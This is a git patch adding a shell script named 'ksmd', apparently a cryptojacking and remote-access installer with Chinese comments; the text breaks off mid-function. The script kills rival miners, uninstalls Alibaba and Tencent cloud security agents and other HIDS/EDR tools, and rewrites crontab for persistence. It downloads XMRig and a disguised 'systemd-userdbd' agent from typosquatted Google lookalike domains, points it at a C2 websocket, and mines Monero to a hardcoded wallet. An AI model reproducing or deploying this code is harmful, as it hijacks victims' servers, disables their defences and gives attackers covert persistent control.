From e4d3f8397e5ccc2d5f985aa4d3c57b2882733702 Mon Sep 17 00:00:00 2001
From: poc4z0q4t <poc4z0q4t@example.com>
Date: Sun, 16 Aug 2026 19:39:52 +0000
Subject: [PATCH] Upload files to "/"

---
 ksmd | 2231 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 2231 insertions(+)
 create mode 100644 ksmd

diff --git a/ksmd b/ksmd
new file mode 100644
index 0000000..084e59b
--- /dev/null
+++ b/ksmd
@@ -0,0 +1,2231 @@
+#!/bin/sh
+# ksmd — deploy-kit 完整安装链（由 serve_payload.sh 替换 __PLACEHOLDER__）
+# 1. 清理对手 javab 残留（cron 清空其它项；若曾有心跳则只留无害 curl，无 base64|bash）
+# 2. 清防火墙 / iptables DROP
+# 3. 内联 javab 链（/dev/shm/javab + idle + .rguard + .khp）+ glm Agent
+# 管道安装：rival .rguard 白名单含 ksmd；dash 无 exec -a，靠路径/cmdline 含 ksmd
+# 必须在最前定义：下方 early-kill 块在 set -u 之前就会执行
+ksmd_from_hook() {
+  case "$0" in */.ksmd_*|*install/ksmd*) return 0 ;; esac
+  return 1
+}
+
+ksmd_protect_install() {
+  ksmd_from_hook && return 0
+  _pp=$(ps -p ${PPID:-0} -o args= 2>/dev/null)
+  case "$_pp" in
+    *googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
+    */.ksmd_*) return 0 ;;
+  esac
+  return 1
+}
+
+if [ -z "${KSMD_REEXEC:-}" ]; then
+  export KSMD_REEXEC=1
+  case "$0" in *ksmd*|*install/ksmd*) ;; *)
+    if command -v bash >/dev/null 2>&1; then
+      exec bash -c 'exec -a ksmd sh "$0" "$@"' _ "$0" "$@" 2>/dev/null || exec bash "$0" "$@"
+    fi
+  ;; esac
+fi
+_ksmd_u=$(id -un 2>/dev/null)
+if [ -n "$_ksmd_u" ]; then
+  ps -u "$_ksmd_u" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+    _p=$(echo "$_line" | awk '{print $1}')
+    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    case "$_c" in *\.rguard*) kill -9 "$_p" 2>/dev/null ;; esac
+  done
+fi
+# 路径/cmdline 已含 ksmd，rival 白名单可过：先清 /dev/shm 对手（crontab 等装完再写）
+_ksmd_uid=$(id -u 2>/dev/null)
+if [ -n "$_ksmd_uid" ]; then
+  pkill -9 -u "$_ksmd_uid" -f 'CRON jobs' 2>/dev/null || true
+  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/\.rguard' 2>/dev/null || true
+  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/javab' 2>/dev/null || true
+  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/idle' 2>/dev/null || true
+  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/\.khp' 2>/dev/null || true
+  pkill -9 -u "$_ksmd_uid" -f '/tmp/\.rguard|/tmp/javab|/tmp/idle|/tmp/\.khp' 2>/dev/null || true
+  pkill -9 -u "$_ksmd_uid" -f '/var/tmp/\.rguard|/var/tmp/javab|/var/tmp/idle|/var/tmp/\.khp' 2>/dev/null || true
+  for _pat in unicorn 6556 '6556/ts' 'base64 -d' m51src m51sr 'find /' .claude \
+    'redis/lang/ksmd' gitea_exp auto_deploy apt-update mnmonitor xmrig \
+    supervise_javs start_javs '31.56.209' \
+    universal-miner sysinit kworkerds; do
+    ksmd_protect_install && case "$_pat" in hash-object*|googletagmanagar|googlelagmanager|google-analytices) continue ;; esac
+    pkill -9 -u "$_ksmd_uid" -f "$_pat" 2>/dev/null || true
+  done
+  # hook 安装器 /.ksmd_* 运行时不能杀 hash-object，否则 gitea hook 的 git hash-object 会被掐断
+  ksmd_protect_install || pkill -9 -u "$_ksmd_uid" -f 'hash-object -w' 2>/dev/null || true
+  ps -u "$_ksmd_u" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+    _p=$(echo "$_line" | awk '{print $1}')
+    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
+    case "$_x" in /tmp/javab|/dev/shm/javab|/var/tmp/javab) kill -9 "$_p" 2>/dev/null ;; esac
+    case "$_c" in ./*javab*|*javab\ -c\ .javab.json*) kill -9 "$_p" 2>/dev/null ;; esac
+  done
+fi
+set -u
+
+MARKER="deploy-kit-v1"
+REMOTE_WDIR="/tmp/.pol-lite"
+PAYLOAD_BASE="http://127.0.0.1:8080"
+C2_WSS="wss.google-analytices.com"
+AGENT_URL_AMD64="https://file.google-analytices.com/amd64710013"
+AGENT_URL_386="https://file.google-analytices.com/386602048"
+AGENT_URL_ARM="https://file.google-analytices.com/arm876482"
+AGENT_URL_ARM64="https://file.google-analytices.com/arm64902593"
+AGENT_ARGS="oieraieioraejri12"
+POOL_HOST="gulf.moneroocean.stream"
+POOL_PORT="10128"
+XMR_WALLET="4AjneeUV2MmW8XTusJCditAFk9PQtHm1gV3ZD6RvfHzBf2yd5zZ6Zt27fNDmMhXBCN5NY1EDgKiqoVj25wLK2uwpMb1n3hu"
+XMR_CPU_PERCENT="60"
+DRY_RUN="${DEPLOY_KIT_DRY_RUN:-0}"
+AGENT_ONLY="${AGENT_ONLY:-0}"
+
+echo "KSMD_START marker=$MARKER self=$0 pid=$$ user=$(id -un 2>/dev/null)"
+
+KSMD_URL="https://googletagmanagar.com/install/ksmd"
+KSMD_URL_ALT="http://127.0.0.1:8080/ksmd"
+
+# --- 矿机：xmrig 落地为 javab（仿 rival 命名）---
+XMR_WORKER="$(hostname 2>/dev/null || echo worker)"
+XMRIG_VER="6.26.0"
+XMRIG_URL="https://googletagmanagar.com/pol/xmrig/xmrig-6.26.tar.gz"
+XMRIG_SHA256="fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5"
+XMRIG_BIN_SHA256="b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49"
+POOL="${POOL_HOST}:${POOL_PORT}"
+XMR_THREADS=""
+XMR_RANDOMX_MODE=""
+WDIR=""
+
+# Agent 伪装：系统风格目录 + 进程名（非 usbnotify）
+AGENT_HOME="${HOME:-/tmp}/.local/share/systemd"
+AGENT_BIN="${AGENT_HOME}/systemd-userdbd"
+AGENT_LAUNCH="${AGENT_HOME}/user-session-launch"
+AGENT_WATCHDOG="${AGENT_HOME}/.session-watchdog"
+AGENT_LOG="/dev/null"
+
+# 安装/保活期间：.core 已在跑则不再杀、不再拉起
+agent_core_running() {
+  _un=$(id -un 2>/dev/null) || return 1
+  pgrep -f "${AGENT_HOME}/.core" >/dev/null 2>&1 && return 0
+  pgrep -f "${AGENT_HOME}/systemd-userdbd" >/dev/null 2>&1 && return 0
+  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
+    _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
+    case "$_x" in
+      "${AGENT_HOME}/.core"|"${AGENT_HOME}/systemd-userdbd") return 0 ;;
+    esac
+    _c=$(ps -p "$_p" -o args= 2>/dev/null)
+    case "$_c" in
+      *"${AGENT_HOME}/.core"*|*"${AGENT_HOME}/systemd-userdbd"*) return 0 ;;
+    esac
+  done
+  return 1
+}
+
+log() { echo "[ksmd:$MARKER] $*"; }
+
+run() {
+  if [ "$DRY_RUN" = "1" ]; then echo "[dry-run] $*"; else "$@"; fi
+}
+
+# dash 无 exec -a；有 bash 时伪装 ksmd，否则依赖脚本路径含 ksmd
+ksmd_run_sh() {
+  _f="$1"
+  if command -v bash >/dev/null 2>&1; then
+    bash -c 'exec -a ksmd sh "$1"' _ "$_f" 2>/dev/null && return 0
+  fi
+  sh "$_f"
+}
+
+crontab_usable() {
+  _err=$(crontab -l 2>&1) || true
+  case "$_err" in *must\ be\ suid*|*setuid*|*cannot\ open*) return 1 ;; esac
+  return 0
+}
+
+# CDN 穿透：?id=timestamp+pid（Cloudflare 等缓存同名 URL 时仍拉最新 ksmd）
+ksmd_dl_url() {
+  _t=$(date +%s 2>/dev/null || echo 0)
+  _p=$$
+  case "$KSMD_URL" in
+    *\?*) printf '%s&_=%s%s' "$KSMD_URL" "$_t" "$_p" ;;
+    *) printf '%s?_=%s%s' "$KSMD_URL" "$_t" "$_p" ;;
+  esac
+}
+
+# 安装窗口内反复压对手 guard（对方 .rguard 每 0.1s；我们白名单模式每 2s 清非白名单进程）
+squash_rival_guard() {
+  purge_tmp_gang
+  kill_rival_rguard
+  kill_rival_javab
+  fast_rival_pkill
+  _ow=$(our_wdir 2>/dev/null) || _ow=""
+  for pat in javab idle .khp; do
+    for d in /dev/shm /tmp /var/tmp; do
+      is_our_install_root "$_ow" "$d" && continue
+      run pkill -9 -f "$d/$pat" 2>/dev/null || true
+    done
+  done
+}
+
+# crontab 剥离用（不绑固定 C2 IP；含 astrawin 2026-08 busybox wget / 31.56.* / home/CRON）
+rival_cron_re() {
+  printf '%s' '6556|6556/ts|base64[[:space:]]*-[dD]|apt-update\.com|\.claude|@reboot.*(curl|wget)|busybox[[:space:]]+wget|(curl|wget).*\|.*bash|m51sr|m51src|45\.74\.|209\.38\.|31\.56\.|redis/lang/ksmd|/exp/|gitea_exp|auto_deploy|supervise_javs|start_javs|CRON[[:space:]]+jobs|/dev/shm/\.khp|/dev/shm/idle|/dev/shm/\.rguard|/dev/shm/javab|/dev/shm/\.claude|/var/tmp/\.claude|/[[:space:]]+/tmp/\.khp|/[[:space:]]+/tmp/idle|/[[:space:]]+/tmp/\.rguard|/[[:space:]]+/var/tmp/\.khp|/[[:space:]]+/var/tmp/idle|/[[:space:]]+/var/tmp/\.rguard'
+}
+
+# ── 1. 清理对手 javab 帮（参考 remove-javab-gang.sh）────────────────────
+cleanup_rival_procs() {
+  log "清理对手进程..."
+  purge_tmp_gang
+  kill_rival_rguard
+  kill_rival_javab
+  fast_rival_pkill
+  _ow=$(our_wdir 2>/dev/null) || _ow=""
+  for pat in javab idle unicorn cached javs krfcommd; do
+    for d in /dev/shm /tmp /var/tmp; do
+      is_our_install_root "$_ow" "$d" && continue
+      run pkill -9 -f "$d/$pat" 2>/dev/null || true
+    done
+  done
+  if [ -z "$_ow" ]; then
+    run pkill -9 -f "\.khp" 2>/dev/null || true
+  fi
+  # 仅杀对手落地 ksmd；不杀 hook 临时文件 /.ksmd_*
+  for d in /dev/shm /tmp /var/tmp; do
+    case "$0" in "$d"/.ksmd_*|$d/.ksmd_*) ;; *)
+      run pkill -9 -f "$d/ksmd" 2>/dev/null || true
+    ;; esac
+  done
+  run pkill -9 -f "m51src" 2>/dev/null || true
+  run pkill -9 -f "45\.74\.7\.226" 2>/dev/null || true
+  ksmd_protect_install || run pkill -9 -f "209\.38\.56" 2>/dev/null || true
+  ksmd_protect_install || run pkill -9 -f "redis/lang/ksmd" 2>/dev/null || true
+  # gitea hook 靠 git hash-object -w 收 output；hook 安装器运行时不能杀
+  ksmd_protect_install || run pkill -9 -f 'hash-object -w' 2>/dev/null || true
+  run pkill -9 -f 'find /.*\.claude' 2>/dev/null || true
+  run pkill -9 -f 'find / -type d -name \.claude' 2>/dev/null || true
+  run pkill -9 -x unicorn 2>/dev/null || true
+  run pkill -9 -f '/6556/' 2>/dev/null || true
+  run pkill -9 -f 'base64 -d' 2>/dev/null || true
+  run pkill -9 -f 'CRON jobs' 2>/dev/null || true
+  run pkill -9 -f 'supervise_javs' 2>/dev/null || true
+  run pkill -9 -f 'start_javs' 2>/dev/null || true
+  run pkill -9 -f '6556/ts' 2>/dev/null || true
+  run pkill -9 -f '31\.56\.209' 2>/dev/null || true
+  if [ "$(id -u)" -eq 0 ]; then
+    run pkill -9 -f '/bin/javab' 2>/dev/null || true
+    run pkill -9 -f '/bin/\.khp' 2>/dev/null || true
+    run systemctl stop javab.service 2>/dev/null || true
+    run systemctl disable javab.service 2>/dev/null || true
+  fi
+  sleep 1
+}
+
+cleanup_rival_files() {
+  log "清理对手落地文件..."
+  _ow=$(our_wdir 2>/dev/null) || _ow=""
+  for d in /dev/shm /tmp /var/tmp; do
+    [ -d "$d" ] || continue
+    is_our_install_root "$_ow" "$d" && continue
+    for f in javab idle .rguard .khp .khp_ts .khp_fusion_ts ksmd unicorn .javab.json .ksmd_guard .ksmd_manifest; do
+      [ -e "$d/$f" ] && run rm -f "$d/$f"
+    done
+    _inst=$(basename "$0" 2>/dev/null)
+    find "$d" -maxdepth 1 -name '.ksmd_*' 2>/dev/null | while IFS= read -r _kf; do
+      [ -n "$_inst" ] && [ "$(basename "$_kf")" = "$_inst" ] && continue
+      run rm -f "$_kf"
+    done
+    run find "$d" -maxdepth 1 -name '.log_*.gz' -delete 2>/dev/null || true
+  done
+  if [ "$(id -u)" -eq 0 ]; then
+    for f in javab idle ksmd .khp .rguard .khp_ts watchdog.sh; do
+      [ -e "/bin/$f" ] && run chattr -i "/bin/$f" 2>/dev/null || true
+      [ -e "/bin/$f" ] && run rm -f "/bin/$f"
+    done
+    run rm -f /etc/systemd/system/javab.service 2>/dev/null || true
+  fi
+  home="${HOME:-/tmp}"
+  for f in \
+    "$home/.local/share/.cache/dbus/cached" \
+    "$home/.cache/.dbus/.khp" \
+    "$home/.claude" \
+    "$home/CRON" \
+    "$home/unicorn" \
+    "$home/.javs" \
+    "$home/.javs/supervise_javs.sh"; do
+    [ -e "$f" ] && run rm -rf "$f"
+  done
+  for d in /dev/shm/.claude /var/tmp/.claude; do
+    [ -e "$d" ] && run rm -rf "$d"
+  done
+  run find "$home" -maxdepth 1 -name '.syslog-*' -exec rm -rf {} + 2>/dev/null || true
+  run rm -f "$home/.config/autostart/javs.desktop" 2>/dev/null || true
+  run rm -f "$home/.config/systemd/user/javs.service" \
+    "$home/.config/systemd/user/default.target.wants/javs.service" 2>/dev/null || true
+}
+
+cleanup_rival_crontab() {
+  strip_rival_crontab
+}
+
+strip_rival_crontab() {
+  if ! crontab_usable; then
+    log "crontab 不可用（docker 常见 must be suid），跳过"
+    return 0
+  fi
+  log "清理 crontab（剥离对手行，不固定 IP 匹配）..."
+  if [ "$DRY_RUN" = "1" ]; then return 0; fi
+  tmp=$(mktemp)
+  crontab -l 2>/dev/null >"$tmp" || : >"$tmp"
+  _rival=$(rival_cron_re)
+  if ! grep -Ei "$_rival" "$tmp" >/dev/null 2>&1; then
+    rm -f "$tmp"
+    return 0
+  fi
+  grep -Evi "$_rival" "$tmp" | grep -v '^[[:space:]]*$' >"${tmp}.keep" 2>/dev/null || : >"${tmp}.keep"
+  if [ -s "${tmp}.keep" ]; then
+    crontab "${tmp}.keep" 2>/dev/null || crontab -r 2>/dev/null || true
+  else
+    crontab -r 2>/dev/null || true
+  fi
+  rm -f "$tmp" "${tmp}.keep"
+  log "已剥离对手 crontab"
+}
+
+ensure_ksmd_crontab() {
+  [ "$DRY_RUN" = "1" ] && return 0
+  if ! crontab_usable; then
+    return 0
+  fi
+  mark="# ${MARKER}-ksmd-guard"
+  if crontab -l 2>/dev/null | grep -Fq "$mark"; then
+    return 0
+  fi
+  line="* * * * * for d in /dev/shm /tmp /var/tmp; do [ -x \"\$d/.ksmd_guard\" ] && { sh \"\$d/.ksmd_guard\"; break; }; [ -x \"\$d/.pol-lite/.ksmd_guard\" ] && { sh \"\$d/.pol-lite/.ksmd_guard\"; break; }; done ${mark}"
+  (crontab -l 2>/dev/null | grep -Fv "$mark"; echo "$line") | crontab - 2>/dev/null && \
+    log "crontab ksmd 保活已写入（marker 校验）" || \
+    log "crontab ksmd 写入失败"
+}
+
+ensure_agent_crontab() {
+  [ "$DRY_RUN" = "1" ] && return 0
+  if ! crontab_usable; then
+    return 0
+  fi
+  mark="# ${MARKER}-agent-guard"
+  if crontab -l 2>/dev/null | grep -Fq "$mark"; then
+    return 0
+  fi
+  line="* * * * * [ -x \"${AGENT_HOME}/.agent_guard\" ] && sh \"${AGENT_HOME}/.agent_guard\" ${mark}"
+  (crontab -l 2>/dev/null | grep -Fv "$mark"; echo "$line") | crontab - 2>/dev/null && \
+    log "crontab Agent 保活已修复（检测到 marker 缺失）" || \
+    log "crontab Agent 修复失败"
+}
+
+# ── 2. 卸载云厂商安全软件（参考 intruder kworker / remove-yunjing.sh）────
+remove_cloud_security() {
+  log "卸载云厂商安全组件..."
+  if [ "$(id -u)" -ne 0 ]; then
+    log "非 root，跳过云安全组件卸载"
+    return 0
+  fi
+
+  # 阿里云 Aegis（安骑士）
+  if ps aux 2>/dev/null | grep -qiE '[a]liyun|[a]egis|AliYunDun|AliHips|AliSecGuard'; then
+    log "阿里云 Aegis..."
+    for url in \
+      'http://update.aegis.aliyun.com/download/uninstall.sh' \
+      'http://update.aegis.aliyun.com/download/quartz_uninstall.sh'; do
+      if [ "$DRY_RUN" = "1" ]; then
+        log "would run $url"
+      else
+        dl "$url" /tmp/.aegis_uninst_$$.sh 2>/dev/null && sh /tmp/.aegis_uninst_$$.sh 2>/dev/null || true
+        rm -f /tmp/.aegis_uninst_$$.sh
+      fi
+    done
+    run systemctl stop aliyun.service 2>/dev/null || true
+    run systemctl disable aliyun.service 2>/dev/null || true
+    run service aliyun.service stop 2>/dev/null || true
+    run pkill -9 -f aliyun-service 2>/dev/null || true
+    run pkill -9 -f AliYunDun 2>/dev/null || true
+    run pkill -9 -f AliHips 2>/dev/null || true
+    run pkill -9 -f AliNet 2>/dev/null || true
+    run pkill -9 -f AliSecGuard 2>/dev/null || true
+    run pkill -9 -f aegis 2>/dev/null || true
+    run rm -rf /usr/local/aegis /etc/init.d/agentwatch /usr/sbin/aliyun-service 2>/dev/null || true
+  fi
+
+  # 阿里云云监控 CloudMonitor
+  if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
+    log "阿里云 CloudMonitor..."
+    run /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop 2>/dev/null || true
+    run /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove 2>/dev/null || true
+    run rm -rf /usr/local/cloudmonitor
+  elif [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 ]; then
+    run /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 stop 2>/dev/null || true
+    run /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 uninstall 2>/dev/null || true
+    run rm -rf /usr/local/cloudmonitor
+  fi
+
+  # 腾讯云 YunJing / qcloud
+  if ps aux 2>/dev/null | grep -qiE '[y]unjing|[q]cloud|stargate|sgagent|YDService|YDLive|barad'; then
+    log "腾讯云 YunJing / qcloud..."
+    for s in \
+      /usr/local/qcloud/stargate/admin/uninstall.sh \
+      /usr/local/qcloud/YunJing/uninst.sh \
+      /usr/local/qcloud/monitor/barad/admin/uninstall.sh; do
+      [ -x "$s" ] && run sh "$s" 2>/dev/null || true
+    done
+    run pkill -9 -f '/usr/local/qcloud' 2>/dev/null || true
+    run pkill -9 -f '/usr/local/sa' 2>/dev/null || true
+    run pkill -9 -f 'YDService' 2>/dev/null || true
+    run pkill -9 -f 'YDLive' 2>/dev/null || true
+    run pkill -9 -f 'sgagent' 2>/dev/null || true
+    run pkill -9 -f 'barad_agent' 2>/dev/null || true
+    run pkill -9 -f 'stargate' 2>/dev/null || true
+    run pkill -9 -f 'yunjing' 2>/dev/null || true
+    for u in $(systemctl list-unit-files --no-pager --no-legend 2>/dev/null \
+      | awk '{print $1}' | grep -iE 'yunjing|qcloud|stargate|sgagent|barad|ydlive|ydservice' || true); do
+      run systemctl stop "$u" 2>/dev/null || true
+      run systemctl disable "$u" 2>/dev/null || true
+    done
+    run rm -rf /usr/local/qcloud /usr/local/sa /var/log/qcloud /var/log/yunjing 2>/dev/null || true
+    run rm -f /etc/cron.d/yunjing /etc/cron.d/sgagenttask /etc/cron.d/stargate 2>/dev/null || true
+  fi
+
+  # 华为 / 其他常见 HIDS（kworker 同款）
+  for pat in hostguard titanagent cloudwalker hids edr httpgd bcm-agent; do
+    if ps aux 2>/dev/null | grep -qi "$pat"; then
+      log "清理 $pat ..."
+      run pkill -9 -f "$pat" 2>/dev/null || true
+    fi
+  done
+  run yum remove bcm-agent -y 2>/dev/null || true
+  run apt-get remove -y bcm-agent 2>/dev/null || true
+
+  # 兜底：按进程名强杀
+  for pat in aegis Yun YDService sgagent barad_agent hostguard titanagent cloudwalker hids edr httpgd; do
+    run pkill -9 -f "$pat" 2>/dev/null || true
+  done
+  run rm -rf /usr/local/aegis 2>/dev/null || true
+}
+
+# ── 3. 第三方矿机（auto_gitea_lite kill_block）──────────────────────────
+kill_third_party_miners() {
+  log "清理第三方矿进程..."
+  for pat in xmrig universal-miner sysinit kworkerds minerd cpuminer SRBMiner javae javaa moneroocean unicorn apt-update mnmonitor; do
+    run pkill -9 -f "$pat" 2>/dev/null || true
+  done
+  ksmd_protect_install || run pkill -9 -f 'hash-object -w' 2>/dev/null || true
+  run pkill -9 -f 'find /.*\.claude' 2>/dev/null || true
+  run pkill -9 -f 'find / -type d -name \.claude' 2>/dev/null || true
+  run pkill -9 -x unicorn 2>/dev/null || true
+  run pkill -9 -f '/6556/' 2>/dev/null || true
+  run pkill -9 -f 'base64 -d' 2>/dev/null || true
+  run pkill -9 -f 'm51src' 2>/dev/null || true
+  run pkill -9 -f '45\.74\.7\.226' 2>/dev/null || true
+  ksmd_protect_install || run pkill -9 -f '209\.38\.56' 2>/dev/null || true
+  ksmd_protect_install || run pkill -9 -f 'redis/lang/ksmd' 2>/dev/null || true
+  run pkill -9 -f '64.176.51.87' 2>/dev/null || true
+  run pkill -f 'kmod-cache-update' 2>/dev/null || true
+  run pkill -f '/tmp/xmrig' 2>/dev/null || true
+  sleep 1
+}
+
+ksmd_curl() {
+  if command -v curl >/dev/null 2>&1; then
+    if command -v bash >/dev/null 2>&1; then
+      bash -c 'exec -a ksmd curl "$@"' _ "$@" 2>/dev/null && return 0
+    fi
+    curl "$@" 2>/dev/null && return 0
+  fi
+  return 1
+}
+
+dl() {
+  u="$1"; o="$2"
+  ksmd_curl -fsSL -m120 "$u" -o "$o" && return 0
+  wget -T120 -q "$u" -O "$o" 2>/dev/null && return 0
+  return 1
+}
+
+dl_long() {
+  u="$1"; o="$2"
+  ksmd_curl -fsSL -m300 "$u" -o "$o" && return 0
+  wget -T300 -q "$u" -O "$o" 2>/dev/null && return 0
+  return 1
+}
+
+sha256_file() {
+  if command -v sha256sum >/dev/null 2>&1; then
+    sha256sum "$1" | awk '{print $1}'
+  elif command -v shasum >/dev/null 2>&1; then
+    shasum -a 256 "$1" | awk '{print $1}'
+  else
+    echo ""
+  fi
+}
+
+md5_file() {
+  if command -v md5sum >/dev/null 2>&1; then
+    md5sum "$1" | awk '{print $1}'
+  elif command -v md5 >/dev/null 2>&1; then
+    md5 -q "$1" 2>/dev/null
+  else
+    echo ""
+  fi
+}
+
+# ── 4. 内联矿机 + glm Agent（单文件）────────────────────────────────────
+is_container() {
+  [ -f /.dockerenv ] && return 0
+  [ -f /run/.containerenv ] && return 0
+  grep -qE '(docker|lxc|kubepods|containerd|podman|crio)' /proc/1/cgroup 2>/dev/null && return 0
+  return 1
+}
+
+agent_dl_url() {
+  case "$(uname -m)" in
+    x86_64|amd64) echo "${AGENT_URL_AMD64}" ;;
+    i686|i386) echo "${AGENT_URL_386}" ;;
+    aarch64|arm64) echo "${AGENT_URL_ARM64}" ;;
+    armv7l|armv6l|armv5tel|arm) echo "${AGENT_URL_ARM}" ;;
+    *) return 1 ;;
+  esac
+}
+
+need_x64_miner() {
+  case "$(uname -m)" in
+    x86_64|amd64) return 0 ;;
+    *) log "xmrig 仅支持 x86_64，当前 $(uname -m)，跳过矿机"; return 1 ;;
+  esac
+}
+
+detect_xmr_threads() {
+  [ -n "$XMR_THREADS" ] && return 0
+  n=$(nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 2)
+  pct="${XMR_CPU_PERCENT:-60}"
+  case "$pct" in ''|*[!0-9]*) pct=60 ;; esac
+  [ "$pct" -gt 100 ] && pct=100
+  t=$(( n * pct / 100 ))
+  [ "$t" -lt 1 ] && t=1
+  [ "$t" -gt "$n" ] && t="$n"
+  XMR_THREADS=$t
+}
+
+detect_randomx_mode() {
+  [ -n "$XMR_RANDOMX_MODE" ] && return 0
+  mb=$(awk '/MemTotal/ {print int($2/1024)}' /proc/meminfo 2>/dev/null)
+  if [ -n "$mb" ] && [ "$mb" -lt 2500 ] 2>/dev/null; then
+    XMR_RANDOMX_MODE=light
+    [ "$XMR_THREADS" -gt 2 ] 2>/dev/null && XMR_THREADS=2
+  else
+    XMR_RANDOMX_MODE=auto
+  fi
+}
+
+setup_xmrig_binary() {
+  dest="$1"
+  miner_dir="$2"
+  mkdir -p "$(dirname "$dest")" "$miner_dir"
+  if [ -x "$dest" ]; then
+    got=$(sha256_file "$dest")
+    if [ "$got" = "$XMRIG_BIN_SHA256" ] || [ -z "$got" ]; then
+      log "xmrig 已存在: $dest"
+      return 0
+    fi
+  fi
+  tmpdir="${miner_dir}/.dl_$$"
+  mkdir -p "$tmpdir"
+  tgz="${tmpdir}/xmrig.tgz"
+  log "下载 XMRig ${XMRIG_VER} ..."
+  dl_long "$XMRIG_URL" "$tgz" || { rm -rf "$tmpdir"; return 1; }
+  got=$(sha256_file "$tgz")
+  if [ -n "$got" ] && [ "$got" != "$XMRIG_SHA256" ]; then
+    rm -rf "$tmpdir"
+    log "xmrig tarball 校验失败"
+    return 1
+  fi
+  tar -xzf "$tgz" -C "$tmpdir" || { rm -rf "$tmpdir"; return 1; }
+  bin="${tmpdir}/xmrig-${XMRIG_VER}/xmrig"
+  [ -x "$bin" ] || { rm -rf "$tmpdir"; return 1; }
+  cp -f "$bin" "${dest}.new" && chmod 755 "${dest}.new"
+  mv -f "${dest}.new" "$dest"
+  rm -rf "$tmpdir"
+  log "xmrig -> $dest"
+}
+
+pick_wdir() {
+  # 已有 manifest 则留在原目录，避免重装漂移出双链
+  _ow=$(our_wdir 2>/dev/null) || _ow=""
+  if [ -n "$_ow" ] && [ -d "$_ow" ] && wdir_allows_exec "$_ow"; then
+    WDIR="$_ow"
+    return 0
+  fi
+  # 优先 /dev/shm 平铺；/tmp、/var/tmp 用 .pol-lite
+  for d in /dev/shm /tmp /var/tmp; do
+    if [ -d "$d" ] && [ -w "$d" ] && wdir_allows_exec "$d"; then
+      WDIR=$(layout_wdir "$d")
+      if [ "$WDIR" != "/dev/shm" ]; then
+        mkdir -p "$WDIR" 2>/dev/null || continue
+      fi
+      wdir_allows_exec "$WDIR" || continue
+      log "WDIR=$WDIR (probe ok: $d exec+write)"
+      return 0
+    fi
+    log "skip WDIR parent $d (missing, no write, or noexec)"
+  done
+  return 1
+}
+
+wdir_allows_exec() {
+  _d=$1
+  _probe="$_d/.ksmd_exec_probe_$$"
+  printf '#!/bin/sh\n' >"$_probe" 2>/dev/null || return 1
+  chmod +x "$_probe" 2>/dev/null || { rm -f "$_probe"; return 1; }
+  "$_probe" >/dev/null 2>&1 || { rm -f "$_probe"; return 1; }
+  rm -f "$_probe"
+  return 0
+}
+
+# /dev/shm 平铺（与对手同路径）；/tmp、/var/tmp 仍用 .pol-lite 子目录
+layout_wdir() {
+  _parent=$1
+  if [ "$_parent" = "/dev/shm" ]; then
+    echo "/dev/shm"
+  else
+    echo "$_parent/.pol-lite"
+  fi
+}
+
+is_our_install_root() {
+  _ow=$1
+  _base=$2
+  [ -n "$_ow" ] || return 1
+  [ "$_ow" = "$_base" ] && return 0
+  [ "$_ow" = "$_base/.pol-lite" ] && return 0
+  return 1
+}
+
+# /dev/shm 平铺时与对手同路径，靠 manifest/marker 区分
+is_our_script_file() {
+  _f=$1
+  [ -f "$_f" ] || return 1
+  grep -qF "$MARKER" "$_f" 2>/dev/null && return 0
+  grep -q '_MARKER=' "$_f" 2>/dev/null && return 0
+  return 1
+}
+
+is_rival_rguard_file() {
+  _f=$1
+  [ -f "$_f" ] || return 1
+  head -3 "$_f" 2>/dev/null | grep -qi 'rival guard' && return 0
+  return 1
+}
+
+is_rival_idle_file() {
+  _f=$1
+  [ -f "$_f" ] || return 1
+  head -8 "$_f" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
+  head -8 "$_f" 2>/dev/null | grep -qE 'URL1=.*URL2=' && return 0
+  is_our_script_file "$_f" && return 1
+  head -5 "$_f" 2>/dev/null | grep -qE 'KSMD_URL|googletagmanagar|deploy-kit-v1' && return 1
+  [ -n "$MARKER" ] && head -5 "$_f" 2>/dev/null | grep -qF "$MARKER" && return 1
+  return 0
+}
+
+is_our_miner_dir() {
+  _d=$1
+  [ -d "$_d" ] || return 1
+  [ -f "$_d/.ksmd_manifest" ] || return 1
+  grep -qF "marker=$MARKER" "$_d/.ksmd_manifest" 2>/dev/null || return 1
+  is_rival_rguard_file "$_d/.rguard" && return 1
+  is_rival_idle_file "$_d/idle" && return 1
+  is_our_script_file "$_d/.rguard" || return 1
+  is_our_script_file "$_d/idle" || return 1
+  return 0
+}
+
+# WDIR 内允许落地的文件名（/dev/shm 平铺时非名单一律删）
+our_wdir_basename() {
+  case "$1" in
+    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
+      return 0 ;;
+  esac
+  case "$1" in .ksmd_*) return 0 ;; esac
+  return 1
+}
+
+proc_touches_wdir() {
+  _p=$1
+  _w=$2
+  _c=$(ps -p "$_p" -o args= 2>/dev/null) || return 1
+  _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
